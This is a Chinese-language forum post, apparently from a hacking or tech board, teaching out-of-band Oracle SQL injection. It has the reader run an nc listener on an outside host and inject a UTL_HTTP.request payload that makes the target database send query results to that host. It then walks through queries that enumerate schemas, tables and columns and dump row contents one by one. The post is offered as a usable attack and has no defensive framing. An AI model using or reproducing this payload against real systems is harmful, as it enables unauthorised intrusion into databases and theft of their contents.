找回密码
 注册
搜索
热搜: 回贴

Oracle注射技术——Oracle+nc注射

2010-1-30 22:11| 发布者: admin| 查看: 23| 评论: 0|原作者: 江月

首先外网nc监听对应的端口
and UTL_HTTP.request('外网ip:port/'||(sql语句))=1--
爆库:select owner from all_tables where rownum=1
select owner from all_tables where owner<>'第一个库名'
and rownum=1
select owner from all_tables where owner<>'第一个库名'
and owner<>'第二个'and rownum=1
select owner from all_tables where owner<>'第一个库名'
and owner<>'第一个库名' and rownum=1
以此论推爆表:select TABLE_NAME from all_tables where owner='库名'
and rownum=1
select TABLE_NAME from all_tables where owner='库名'
and rownum=1 and TABLE_NAME<>'表名1'
select TABLE_NAME from all_tables where owner='库名'and rownum=1
and TABLE_NAME<>'表名1' and TABLE_NAME<>'表名2'
以此论推
爆列:


select COLUMN_NAME from user_tab_columns where table_name='表名'
and rownum=1
select COLUMN_NAME from user_tab_columns where table_name='表名'
and rownum=1 and COLUMN_NAME<>'第一个爆出的列名'
select COLUMN_NAME from user_tab_columns where table_name='表名'
and rownum=1 and COLUMN_NAME<>'第一个爆出的列名' and COLUMN_NAME<>'第二个爆出的列名'
爆内容:第一个内容:select 列名 from 表名 where rownum=1第二个内容:select 列名 from 表名 where rownum=1 and 列名<>'第一个值'第三个内容:select 列名 from 表名 where rownum=1 and 列名<>'第一个值' and 列名<>'第二个值'




最新评论

相关分类

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-10-1 15:11 , Processed in 0.200175 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部